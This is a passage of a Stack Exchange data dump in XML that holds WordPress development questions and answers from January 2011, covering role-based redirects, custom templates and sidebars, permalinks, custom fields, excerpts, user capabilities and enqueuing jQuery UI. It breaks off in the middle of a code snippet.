  <row Id="7198" PostTypeId="1" CreationDate="2011-01-18T19:21:36.220" Score="0" ViewCount="425" Body="&lt;p&gt;I need to have users land on a specific admin page based on user role in WP 3.0 multi-site enabled.  I found this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function fb_redirect_2() {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( preg_match('#wp-admin/?(index.php)?$#', $_SERVER['REQUEST_URI']) ) {&#xA;    if ( function_exists('admin_url') ) {&#xA;        wp_redirect( admin_url('edit-comments.php') );&#xA;    } else {&#xA;        wp_redirect( get_option('siteurl') . '/wp-admin/' . 'edit-comments.php' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;if ( is_admin() )&#xA;    add_action( 'admin_menu', 'fb_redirect_2' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And changed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ( is admin() ) to if ( current_user_can('edit_posts') )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this isn't working...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2011-01-18T22:25:41.767" Title="Redirect User on Login based on role WP 3 - Multi-Site" Tags="&lt;redirect&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="7199" PostTypeId="1" AcceptedAnswerId="8571" CreationDate="2011-01-18T19:47:28.083" Score="2" ViewCount="101" Body="&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The university radio station I volunteer at uses WordPress 3's Network Mode for the entirety of its web content. It uses the format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Top-Level &lt;code&gt;(.com/*)&lt;/code&gt;&lt;/strong&gt; -- Basic station&#xA;information, links to feeds, etc. The&#xA;main site.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Subdomains &lt;code&gt;(*.domain.com)&lt;/code&gt;&lt;/strong&gt; --&#xA;Station departments (I.e., &quot;music&quot;,&#xA;&quot;spoken word&quot;, etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Program Top-Level Sub-Directory&#xA;&lt;code&gt;(.com/program/*)&lt;/code&gt;&lt;/strong&gt; -- Custom post&#xA;type (&quot;Program&quot;) for individual&#xA;shows airing on the station. Locally-written proprietary code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most producers have existing social media property (Facebook/Twitter/MySpace/Soundcloud/Tumblr, to name but a few), and we're wanting to encourage producers who don't currently use social media to start using it. To this end, I need two facilities -- a blog system and a RSS importer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Blog system -- Users should be able to post directly to the WP system, but be restricted to individual program categories. I can probably figure out the first part with roles, but is there any way to restrict &lt;em&gt;where&lt;/em&gt; a particular user is able to post? I've also thought about doing this as another custom content type so as to keep it separate from the main station posts system, but it might be difficult to get an RSS importer plugin (See below.) to work with this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RSS importer -- I don't want to force users to use the station's WP system if they're already using other social media tools. Because most social media tools worth their salt produce RSS feeds, I figure the easiest way to accomplish this is via a RSS importer. I've used feedwordpress in the past, but I worry it'll be both too confusing and too powerful for the users I want to access it. Think this is simple enough I could code it from scratch, or is there a particular plugin I should use?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-04T20:25:03.873" Title="Sub-Sub-Blogs -- creating and importing content into a custom sub-type" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;multisite&gt;&lt;rss&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="7200" PostTypeId="2" ParentId="7134" CreationDate="2011-01-18T20:11:01.513" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Jeff Starr wrote a great tutorial on front-end registration, login and password recovery&lt;/strong&gt;&lt;br&gt;&#xA;taking the similar approach as suggested by &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7134/front-end-register-form/7151#7151&quot;&gt;Ambitious Amoeba&lt;/a&gt;.&#xA;So take this as a follow up to his answer and as another resource that might help you get it done:&lt;br&gt;&#xA;&lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another older tutorial on the very same topic that helped me a lot when I was dealing with the same thing some months ago: &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have three examples how to code this yourself and trust me - it's definitely worth doing it this (your own) way. It's not that hard and it gives you &lt;strong&gt;freedom&lt;/strong&gt;, &lt;strong&gt;flexibility&lt;/strong&gt; and &lt;strong&gt;reusability&lt;/strong&gt; that no plugin can offer.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-19T18:13:11.747" LastActivityDate="2011-01-19T18:13:11.747" />
  <row Id="7203" PostTypeId="1" AcceptedAnswerId="7218" CreationDate="2011-01-18T21:07:56.017" Score="0" ViewCount="235" Body="&lt;p&gt;I am working on a user dashboard for my site using wp user front end and Mingle. I decided the best way to integrate this is by creating a custom sidebar and using that in a new template, which I did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However.. None of my content is showing up and it's driving me nuts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sidebar-dashboard.php&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*** The Sidebar containing the dashboard links **/&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;if ( is_active_sidebar( 'dashboard-sidebar' ) ) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;secondary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;           &#xA;&amp;lt;ul class=&quot;xoxo&quot;&amp;gt;               &#xA;&amp;lt;?php dynamic_sidebar( 'dashboard-sidebar' ); ?&amp;gt;            &#xA;&amp;lt;/ul&amp;gt;   &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;dashboard.php&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: User Dashboard&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php get_sidebar( 'dashboard' );?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;functions.php...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Area 7, the sidebar for the dashboard panel&#xA;register_sidebar( array(&#xA;    'name' =&amp;gt; __( 'Dashboard Sidebar', 'twentyten' ),&#xA;    'id' =&amp;gt; 'dashboard-sidebar',&#xA;    'description' =&amp;gt; __( 'The dashboard sidebar', 'twentyten' ),&#xA;    'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So then I go and make all the dashboard pages have the &quot;User Dashboard&quot; template expecting that the sidebar would be on the left and the content would be on the right, but that's not the case. The sidebar shows up but no content whatsoever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: Also, if someone knows any PHP hooks for Mingle that I can use in template pages that would be great, I can't find any documentation on it and they haven't answered me. It's not really a fix to the core issue, but it's a cheap way around it. For WP User Frontend I can just use the do_shortcode function, but Mingle doesn't even seem to have any shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-18T22:14:56.087" Title="Content not showing up when using custom template + sidebar" Tags="&lt;sidebar&gt;&lt;page-template&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="7204" PostTypeId="1" AcceptedAnswerId="7213" CreationDate="2011-01-18T21:11:18.163" Score="0" ViewCount="459" Body="&lt;p&gt;I´m using the following code to create a new post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create custom post type: &quot;Tilbud&quot; */&#xA;register_post_type('tilbud', array(&#xA;'label' =&amp;gt; __('Tilbud'),&#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'capability_type' =&amp;gt; 'post',&#xA;'hierarchical' =&amp;gt; false,&#xA;'rewrite' =&amp;gt; array('slug' =&amp;gt; '???'),&#xA;'query_var' =&amp;gt; false,&#xA;'taxonomies' =&amp;gt; array('post_tag','category'),&#xA;'supports' =&amp;gt; array('title'),&#xA;'register_meta_box_cb' =&amp;gt; 'add_tilbud_metaboxes',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like the premalink of these custom posts to contain the custom post type name followed by the post category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.../custom-post-type-name/post-category/post-title/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m aware that I use the rewrite argument to add a slug, but I don´t know what to write in order to insert the post type name and category name dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-02-08T11:43:05.083" Title="Custom permalink structure for custom post type" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="7205" PostTypeId="1" AcceptedAnswerId="7209" CreationDate="2011-01-18T21:14:45.850" Score="2" ViewCount="519" Body="&lt;p&gt;I'm at a loss. I've got a custom meta box with the 'multicheck' code that Jan created. It's working great. My issue now is getting the data to return properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario: there are 5 possible values, each with the same meta_key. What I am trying to do is display specific content if a value is stored with one of the 5 possible values. What is happening is that the content is repeating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current site: &lt;a href=&quot;http://dev.andrewnorcross.com/yoga/locations/tampa/&quot; rel=&quot;nofollow&quot;&gt;http://dev.andrewnorcross.com/yoga/locations/tampa/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    global $post;&#xA;$offerings = get_post_meta($post-&amp;gt;ID, &quot;evol_offerings_select&quot;, false);&#xA;if ($offerings[0]==&quot;&quot;) { ?&amp;gt;&#xA;&#xA;&amp;lt;!-- If there are no custom fields, show nothing --&amp;gt;&#xA;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;offerings&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;offerings:&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;?php &#xA;            foreach ($offerings as $offering) {&#xA;                if ($offering[&quot;hot&quot;]==true) {&#xA;                    echo &quot;&amp;lt;div class='single_offering'&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;h3&amp;gt;Hot 90&amp;lt;/h3&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;p class='class_info'&amp;gt;temp: 105&amp;amp;deg;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: 90 min&amp;lt;/p&amp;gt;&quot;;&#xA;                    echo '&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                if ($offering[&quot;flow&quot;]==true) {&#xA;                echo &quot;&amp;lt;div class='single_offering'&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;h3&amp;gt;Flow 75&amp;lt;/h3&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;p class='class_info'&amp;gt;temp: 80&amp;amp;deg;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: 75 min&amp;lt;/p&amp;gt;&quot;;&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                if ($offering[&quot;warm&quot;]==true) {&#xA;                echo &quot;&amp;lt;div class='single_offering'&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;h3&amp;gt;Warm 60&amp;lt;/h3&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;p class='class_info'&amp;gt;temp: 90&amp;amp;deg;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: 60 min&amp;lt;/p&amp;gt;&quot;;&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                if ($offering[&quot;chill&quot;]==true) {&#xA;                echo &quot;&amp;lt;div class='single_offering'&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;h3&amp;gt;Chill 30&amp;lt;/h3&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;p class='class_info'&amp;gt;temp: 75-80&amp;amp;deg;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: 30 min&amp;lt;/p&amp;gt;&quot;;                    &#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                if ($offering[&quot;kids&quot;]==true) {&#xA;                echo &quot;&amp;lt;div class='single_offering'&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;h3&amp;gt;Kids Class&amp;lt;/h3&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;p class='class_info'&amp;gt;temp: comfy&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;time: 60 min&amp;lt;/p&amp;gt;&quot;;&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-01-19T18:48:24.730" Title="Custom field values repeating" Tags="&lt;custom-field&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="7207" PostTypeId="1" AcceptedAnswerId="7212" CreationDate="2011-01-18T21:30:51.447" Score="0" ViewCount="109" Body="&lt;p&gt;I'm currently creating a new theme for my blog and I intend to make it in a magazine style manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to clarify the question in the title: what I want to do is to create a text assigned to the post, but not displayed in the post itself. Lets say that the user Tom writes a review of the movie Black Swan - what I want to be able to do is summarize that review in a sentence or two - and use that text as an &quot;excerpt&quot; on the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? It's probably a lot harder than I think it is.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T22:10:58.010" Title="How can I create an &quot;excerpt&quot; with text that won't be displayed in the post itself?" Tags="&lt;themes&gt;&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="7208" PostTypeId="2" ParentId="7205" CreationDate="2011-01-18T21:34:49.490" Score="0" ViewCount="" Body="&lt;p&gt;Can you share the code that you are using to register those boxes? Sounds like each time you are saving, each value is overwriting each other. You will need to save the values into an array.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-18T21:34:49.490" CommentCount="10" />
  <row Id="7209" PostTypeId="2" ParentId="7205" CreationDate="2011-01-18T21:42:18.100" Score="3" ViewCount="" Body="&lt;p&gt;Your foreach is the problem. You're iterating once for each offering, yet you're evaluating ALL offering values in the array each time. So your PHP is dutifully printing all available offerings * the number of offerings. I'd say go without the foreach() and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&#xA;Also please note, you're casting strings to arrays. You're trying to look up values in an array based on an invalid key. $offerings[&quot;hot&quot;] - $offerings[&quot;kids&quot;] don't exist, as far as PHP is concerned. $offerings[0] - $offerings[4] DO exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&#xA;Okay, you want the following in place of your foreach():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(in_array(&quot;hot&quot;, $offerings)){&#xA;// print hot results&#xA;}&#xA;&#xA;if(in_array(&quot;chill&quot;, $offerings)){&#xA;//print chill results&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if I think about it further, you could stick with the foreach() in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($offerings as $offering){&#xA; switch($offering){&#xA;   case &quot;hot&quot;:&#xA;    //print hot stuff&#xA;   break;&#xA;   case &quot;chill&quot;:&#xA;    //print chill stuff&#xA;   break;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were dealing with a larger data set, I would probably go with the switch() version, as the in_array() calls scan the whole array each time, which could get expensive, while the foreach() will simply iterate through the array and move the array pointer with each iteration. Your call, but I'm thinking that would be the way to go in order to future-proof and performance-proof. (The performance hit on a 5 value array for in_array() is likely minuscule, but these things add up.)&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2011-01-18T22:14:35.473" LastActivityDate="2011-01-18T22:14:35.473" CommentCount="2" />
  <row Id="7210" PostTypeId="2" ParentId="7205" CreationDate="2011-01-18T21:44:53.287" Score="2" ViewCount="" Body="&lt;p&gt;PHP will evaluate&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$offering[&quot;someKey&quot;]==true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as true for a key so long as the value for that key is not empty, so I suspect get_post_meta() is returning something (&quot;null&quot; or even &quot; &quot;) for those values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$offering[&quot;someKey&quot;]===true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for strict equality and it should work.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2011-01-18T21:44:53.287" CommentCount="11" />
  <row Id="7211" PostTypeId="1" CreationDate="2011-01-18T21:47:59.620" Score="1" ViewCount="124" Body="&lt;p&gt;I'm trying to conditionally display some content in a theme using custom roles and capabilities. First, I define a custom role:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_role('free_vendor', 'Free Vendor Listing', array('read', 'edit_posts', 'delete_posts', 'display_map'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is run directly from functions.php (do I need to add it to an action somewhere?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I use the &lt;code&gt;display_map&lt;/code&gt; capability I defined to conditionally display the map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (author_can($post, 'display_map')) echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#map&quot;&amp;gt;Map&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is, it doesn't work! Is there some issue in using author_can() with custom post types? Am I not calling add_role() properly? I can't really find any decent documentation on using &lt;code&gt;author_can()&lt;/code&gt; with anything other than vanilla posts. Is this just not possible?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T09:15:34.590" LastActivityDate="2011-01-25T09:15:34.590" Title="Using author_can() on custom post types in WordPress" Tags="&lt;roles&gt;&lt;capabilities&gt;&lt;custom-roles&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="7212" PostTypeId="2" ParentId="7207" CreationDate="2011-01-18T21:52:40.223" Score="2" ViewCount="" Body="&lt;p&gt;It's not. I believe when you go to make a post, there's a box just below it that says &quot;Excerpt&quot; Whatever you put in that box will only show up as the excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested it out and it works. You can view it on the website i'm currently developing here: &lt;a href=&quot;http://www.kirschfamilycomputerservices.com/sam/wheresthefairness/&quot; rel=&quot;nofollow&quot;&gt;http://www.kirschfamilycomputerservices.com/sam/wheresthefairness/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first post. Note how the excerpt is different from the post itself! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you want to run it in a loop instead of making a post I think there's a way to do that, too. check here: &lt;a href=&quot;http://codex.wordpress.org/Excerpt&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Excerpt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck and hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-18T21:52:40.223" CommentCount="1" />
  <row Id="7213" PostTypeId="2" ParentId="7204" CreationDate="2011-01-18T21:53:10.373" Score="3" ViewCount="" Body="&lt;p&gt;My plugin here: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt; does exactly what you need. All you need to do with that code is remove the query_var argument and change the rewrite slug to 'tilbud' (or whatever you'd like to have in the permastruct).&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-01-18T21:53:10.373" CommentCount="4" />
  <row Id="7215" PostTypeId="2" ParentId="7211" CreationDate="2011-01-18T22:00:21.200" Score="1" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;current_user_can()&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-18T22:00:21.200" CommentCount="1" />
  <row Id="7216" PostTypeId="2" ParentId="7211" CreationDate="2011-01-18T22:06:01.310" Score="2" ViewCount="" Body="&lt;p&gt;first about the add_role&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you only need to run this once, so after you paste it in your functions.php and saved&#xA;you can remove it and save again and the role will be there always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then about the author_can function, i really never use it so i can tell whats wrong but you can use current_user_can() function like this:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) {&#xA;     //first you get the curent user info&#xA;     get_currentuserinfo();&#xA;     //then you can check capabilities like this&#xA;     if(current_user_can('display_map')){&#xA;      echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#map&quot;&amp;gt;Map&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;      }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-18T23:10:50.043" LastActivityDate="2011-01-18T23:10:50.043" CommentCount="5" />
  <row Id="7217" PostTypeId="2" ParentId="7207" CreationDate="2011-01-18T22:10:58.010" Score="5" ViewCount="" Body="&lt;p&gt;there is a field named Excerpt on the post edit page where you can enter your summary and to display make sure you use different template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the front page use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on the post page use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_content() ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way you display two different things.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T22:10:58.010" CommentCount="1" />
  <row Id="7218" PostTypeId="2" ParentId="7203" CreationDate="2011-01-18T22:14:56.087" Score="1" ViewCount="" Body="&lt;p&gt;the problem is you never call the content!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change your dashboard.php to something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: User Dashboard&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php  the_content(); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php get_sidebar( 'dashboard' );?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T22:14:56.087" CommentCount="2" />
  <row Id="7219" PostTypeId="2" ParentId="7198" CreationDate="2011-01-18T22:25:41.767" Score="2" ViewCount="" Body="&lt;p&gt;you need to populate the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;current_user_can('') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function before using it&#xA;using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  get_currentuserinfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'fb_redirect_2' );&#xA;&#xA;function fb_redirect_2(){&#xA;    get_currentuserinfo();&#xA;    if ( current_user_can('edit_posts')){&#xA;    //redirect here&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-18T22:25:41.767" CommentCount="4" />
  <row Id="7220" PostTypeId="2" ParentId="6346" CreationDate="2011-01-18T22:28:27.697" Score="0" ViewCount="" Body="&lt;p&gt;get_the_date() or get_the_time() calls are overcomplicating the results. Simply use the_date(), which will only print the date once per day of posts by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See The Codex article on this subject:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_date&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_date&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-01-18T22:28:27.697" />
  <row Id="7221" PostTypeId="1" AcceptedAnswerId="7229" CreationDate="2011-01-18T22:49:40.070" Score="5" ViewCount="1315" Body="&lt;p&gt;I've been trying to include the jquery ui effects (more specifically the shake effect) on my wordpress theme. So far, I've only been able to include the jQuery script, but I really have no clue where to place the ui scripts and how to enqueue them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have. It obviously doesnt work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_enqueue_script(&quot;jquery-ui-core&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var $j = jQuery.noConflict();&#xA;    $j(document).ready(function() {&#xA;        